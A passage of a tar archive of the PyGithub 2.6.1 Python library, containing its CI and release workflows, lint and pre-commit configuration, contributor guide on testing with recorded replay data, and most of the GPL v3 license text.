././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.8422425 pygithub-2.6.1/0000755000175100001660000000000014756101576012772 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.git-blame-ignore-revs0000644000175100001660000000060314756101563017065 0ustar00runnerdocker# Apply black to whole codebase 6ceb9e9a15dd82942698c4f891627303de05c91e # Fix isort - add known first and third party 540a0850017e836f13a8c566abfdf7f6a952ffe3 # Format with new black 07e29fe014b7e214e72b51129fbef55468a7309d # Add pyupgrade to pre-commit e113e37de1ec687c68337d777f3629251b35ab28 # Run pre-commit autoupdate and run all hooks 4c24c73d34b54a061b0c800eeea64dc64c230a63 ././@PaxHeader0000000000000000000000000000003200000000000010210 xustar0026 mtime=1740145533.58624 pygithub-2.6.1/.github/0000755000175100001660000000000014756101576014332 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/FUNDING.yml0000644000175100001660000000013014756101563016135 0ustar00runnerdocker# These are supported funding model platforms github: [sfdye, s-t-e-v-e-n-k, enricomi] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/dependabot.yml0000644000175100001660000000036314756101563017160 0ustar00runnerdockerversion: 2 updates: - package-ecosystem: github-actions directory: "/" schedule: interval: weekly open-pull-requests-limit: 10 - package-ecosystem: pip directory: "/" schedule: interval: weekly open-pull-requests-limit: 10 ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/release.yml0000644000175100001660000000070614756101563016474 0ustar00runnerdockerchangelog: exclude: labels: [] authors: [] categories: - title: Breaking Changes labels: ['breaking'] - title: New Features labels: ['feature'] - title: Improvement labels: ['improvement'] - title: Bug Fixes labels: ['bugfix'] - title: Dependencies labels: ['dependencies'] - title: Maintenance labels: ['ci', 'documentation', 'maintenance'] - title: Others labels: ['*'] ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.5872402 pygithub-2.6.1/.github/workflows/0000755000175100001660000000000014756101576016367 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/workflows/_build-pkg.yml0000644000175100001660000000132014756101563021117 0ustar00runnerdockername: Build package on: workflow_call: inputs: artifact-name: description: "Name of an artifact" type: "string" required: false default: "package" jobs: build-pkg: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Set up Python uses: actions/setup-python@v5 with: python-version: '3.x' - name: Install dependencies run: pip install -U build twine - name: Build 📦 package run: python -m build - name: Check 📦 package run: twine check dist/* - uses: actions/upload-artifact@v4 with: name: ${{ inputs.artifact-name }} path: dist ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/workflows/ci.yml0000644000175100001660000000377314756101563017513 0ustar00runnerdockername: CI on: push: branches: - main - release-v* pull_request: merge_group: jobs: build: uses: "./.github/workflows/_build-pkg.yml" with: artifact-name: package test: runs-on: ${{ matrix.os }} name: test (Python ${{ matrix.python-version }} on ${{ matrix.os-label }}) strategy: fail-fast: false matrix: # keep in sync with tox.ini [gh-actions] section python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"] os: ["ubuntu-latest"] os-label: ["Ubuntu"] include: - {python-version: "3.8", os: "windows-latest", os-label: "Windows"} - {python-version: "3.8", os: "macos-latest", os-label: "macOS"} steps: - uses: actions/checkout@v3 - name: Set up Python uses: actions/setup-python@v4 with: python-version: "${{ matrix.python-version }}" - name: Install tox run: | python -m pip install --upgrade pip pip install tox tox-gh-actions - name: Run tests run: tox - name: Upload Test Results if: always() uses: actions/upload-artifact@v4 with: name: Test Results (Python ${{ matrix.python-version }} on ${{ matrix.os-label }}) path: pytest.xml - name: Upload coverage to Codecov uses: codecov/codecov-action@v3 test_success: # this aggregates success state of all jobs listed in `needs` # this is the only required check to pass CI name: "Test success" if: always() runs-on: ubuntu-latest needs: [test] steps: - name: "Success" if: needs.test.result == 'success' run: true shell: bash - name: "Failure" if: needs.test.result != 'success' run: false shell: bash event_file: name: "Event File" runs-on: ubuntu-latest steps: - name: Upload uses: actions/upload-artifact@v4 with: name: Event File path: ${{ github.event_path }} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/workflows/lint.yml0000644000175100001660000000276614756101563020067 0ustar00runnerdockername: Lint on: push: branches: - main - release-v* pull_request: merge_group: jobs: mypy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Set up Python uses: actions/setup-python@v4 with: python-version: "3.x" - run: | python -m pip install --upgrade pip pip install -e . pip install -r requirements/types.txt - uses: liskin/gh-problem-matcher-wrap@v2 with: action: add linters: mypy - run: mypy --show-column-numbers github tests pre-commit: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-python@v4 with: python-version: "3.x" # FIXME: pin pre-commit<4 pending PyCQA/docformatter#287 - name: install pre-commit run: python -m pip install 'pre-commit<4' - name: show environment run: python -m pip freeze --local - uses: actions/cache@v4 with: path: ~/.cache/pre-commit key: pre-commit-${{ hashFiles('.pre-commit-config.yaml') }} - name: run pre-commit run: pre-commit run --show-diff-on-failure --color=always --all-files docs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-python@v4 with: python-version: "3.8" - run: pip install -r requirements/docs.txt - run: pip install -e . - run: sphinx-build doc build ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/workflows/pypi-release.yml0000644000175100001660000000135614756101563021512 0ustar00runnerdockername: Publish to PyPI on: push: tags: ["*"] # this will run full workflow including publish to PyPI workflow_dispatch: jobs: build: uses: "./.github/workflows/_build-pkg.yml" with: artifact-name: package publish: needs: [build] runs-on: ubuntu-latest steps: - uses: actions/download-artifact@v4 with: name: package path: dist - name: Install twine run: pip install -U "twine>=6.1.0" "packaging>=24.2" - name: Publish 📦 to PyPI # only run this for tags if: startsWith(github.event.ref, 'refs/tags/') env: TWINE_USERNAME: __token__ TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }} run: twine upload dist/* ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/workflows/test-results.yml0000644000175100001660000000156714756101563021575 0ustar00runnerdockername: Test Results on: workflow_run: workflows: ["CI"] types: - completed permissions: {} jobs: test-results: name: Test Results if: github.event.workflow_run.conclusion != 'skipped' runs-on: ubuntu-latest permissions: checks: write pull-requests: write steps: - name: Download and Extract Artifacts uses: dawidd6/action-download-artifact@e7466d1a7587ed14867642c2ca74b5bcc1e19a2d with: run_id: ${{ github.event.workflow_run.id }} path: artifacts - name: Publish Test Results id: test-results uses: EnricoMi/publish-unit-test-result-action@v2 with: commit: ${{ github.event.workflow_run.head_sha }} event_file: artifacts/Event File/event.json event_name: ${{ github.event.workflow_run.event }} files: "artifacts/**/*.xml" ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.github/workflows/top-issues.yaml0000644000175100001660000000116714756101563021367 0ustar00runnerdockername: Top issues on: schedule: - cron: '0 0 */1 * *' workflow_dispatch: jobs: ShowAndLabelTopIssues: name: Display and label top issues runs-on: ubuntu-latest if: github.repository == 'PyGithub/PyGithub' steps: - name: Run top issues action uses: rickstaa/top-issues-action@7e8dda5d5ae3087670f9094b9724a9a091fc3ba1 # v1.3.101 env: github_token: ${{ secrets.GITHUB_TOKEN }} with: label: true dashboard: true dashboard_show_total_reactions: true top_issues: true top_pull_requests: true top_list_size: 10 ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.gitignore0000644000175100001660000000627714756101563014772 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Nic Dahlquist # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Colin Hoglund # # Copyright 2018 Vinay Hegde # # Copyright 2018 sfdye # # Copyright 2020 Steve Kowalik # # Copyright 2020 Wan Liuyang # # Copyright 2023 Enrico Minack # # Copyright 2023 Sol Redfern <59831933+Tsuesun@users.noreply.github.com> # # Copyright 2024 Aiden Grossman # # Copyright 2024 Enrico Minack # # Copyright 2024 Jacky Lam # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ .DS_Store *.pyc .eggs/ .python-version /GithubCredentials.py /scripts/TwitterCredentials.py /dist/ /build/ /MANIFEST /PyGithub.egg-info/ /.coverage /coverage.xml /.idea /developer.github.com/ /gh-pages/ /doc/doctrees/ .vscode* .venv venv .tox/ .mypy_cache/ *.swp ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.pre-commit-config.yaml0000644000175100001660000000204014756101563017243 0ustar00runnerdockerdefault_language_version: python: python3 repos: - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.5.0 hooks: - id: end-of-file-fixer - id: trailing-whitespace - id: check-symlinks - id: destroyed-symlinks - id: mixed-line-ending args: - "--fix=lf" - repo: https://github.com/asottile/pyupgrade rev: v3.15.0 hooks: - id: pyupgrade args: ["--py38-plus"] - repo: https://github.com/astral-sh/ruff-pre-commit rev: v0.1.7 hooks: - id: ruff args: - "--fix" - "--fixable=ALL" - "--exit-non-zero-on-fix" - repo: https://github.com/codespell-project/codespell rev: v2.2.6 hooks: - id: codespell additional_dependencies: [tomli] - repo: https://github.com/PyCQA/docformatter rev: v1.7.5 hooks: - id: docformatter additional_dependencies: [tomli] args: ["--in-place"] - repo: https://github.com/psf/black rev: 23.12.0 hooks: - id: black ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/.readthedocs.yml0000644000175100001660000000052314756101563016054 0ustar00runnerdocker# .readthedocs.yml # Read the Docs configuration file # See https://docs.readthedocs.io/en/stable/config-file/v2.html for details # Required version: 2 build: os: ubuntu-22.04 tools: python: "3.8" sphinx: configuration: doc/conf.py python: install: - method: pip path: . - requirements: requirements/docs.txt ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/CONTRIBUTING.md0000644000175100001660000001104014756101563015213 0ustar00runnerdocker# Contributing ## Issues A good issue includes a [short, self contained, correct example](http://sscce.org/) of the problem, something like: ```python assert github.Github().get_user("jacquev6").name == "Vincent Jacques" ``` It is even better if you provide the debug logs associated with your issue. Enable them with `github.enable_console_debug_logging` and copy them in the body of the issue. **Warning:** you may want to remove some private information (authentication information is removed, but there may be private stuff in the messages) If for any reason you are not able to do that, open your issue anyway and a maintainer will see what is needed to solve your problem. ## Pull Requests Pull Requests should clearly describe two things: 1. The problem they attempt to solve 2. How the author went about solving the problem Ideally, changes should be made in logical commits and tests added to improve the project's coverage of the GitHub API. ## Coding style PyGithub adopts the black coding style. To manually format the code: ```bash tox -e lint ``` ## Pre-commit plugin To forget about coding style and let [pre-commit](https://pre-commit.com/#installation) fix your flake8/isort/black issue. ``` pre-commit install ``` That's it! ## Adding missing attributes for a GithubObject ```bash $ python scripts/add_attribute.py [class_name] [attribute_name] [attribute_type] # For example, if you want to add a `url` attribute of string type to the Commit class # Note: adding multiple attributes you have to run the script multiple times $ python scripts/add_attribute.py Commit url string ``` ## Deprecation warning Before removing attributes/methods, consider adding deprecation warnings instead. The [Deprecated](https://github.com/tantale/deprecated) packages provides a handy decorator to add deprecation warnings with an optional reason. ```python from deprecated import deprecated @property @deprecated def rate(self): pass @deprecated(reason="Deprecated in favor of the new branch protection") def get_protected_branch(self): pass ``` ## Automated tests First you need to install the test dependencies: ```bash pip install -r requirements/test.txt ``` Then you can run the tests through `pytest`. Run a specific test with `pytest tests/tests_filename.py` or `pytest tests/tests_filename.py -k testMethod` or `pytest -k TestClass.testMethod`. If you add a new test, for example `Issue139.testCompletion`, you have to run `pytest -k Issue139.testCompletion --record` to create the `tests/ReplayData/*.txt` files needed for your new test. Check them and commit them as well. You will need a `GithubCredentials.py` file at the root of the project with the following contents: ```python login = "my_login" password = "my_password" # Can be left empty if not used oauth_token = "my_token" # Can be left empty if not used jwt = "my_json_web_token" # Can be left empty if not used app_id = "my_app_id" # Can be left empty if not used app_private_key = "my_app_private_key" # Can be left empty if not used ``` If you use 2 factor authentication on your Github account, tests that require a login/password authentication will fail. You can use `pytest Issue139.testCompletion --record --auth_with_token` to use the `oauth_token` field specified in `GithubCredentials.py` when recording a unit test interaction. Note that the `password = ""` (empty string is ok) must still be present in `GithubCredentials.py` to run the tests even when the `--auth_with_token` arg is used. Also note that if you record your test data with `--auth_with_token` then you also need to be in token authentication mode when running the test. You can do this by setting `tokenAuthMode` to be true like so: ```python def setUp(self): self.tokenAuthMode = True super().setUp() ... ``` A simple alternative is to replace `token private_token_removed` with `Basic login_and_password_removed` in all your newly generated ReplayData files. Similarly, you can use `pytest Issue139.testCompletion --record --auth_with_jwt` to use the `jwt` field specified in `GithubCredentials.py` to access endpoints that require JWT. To run manual tests with external scripts that use the PyGithub package, you can install your development version with: ```bash pip install --editable path/to/project ``` You may also want to investigate `tox` to run tests: ```bash pip install tox tox -epy310 ``` ## Build documentation locally ```bash pip install -r requirements/docs.txt sphinx-build doc build ``` If you use tox: ```bash tox -edocs ``` ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/COPYING0000644000175100001660000010451314756101563014025 0ustar00runnerdocker GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to 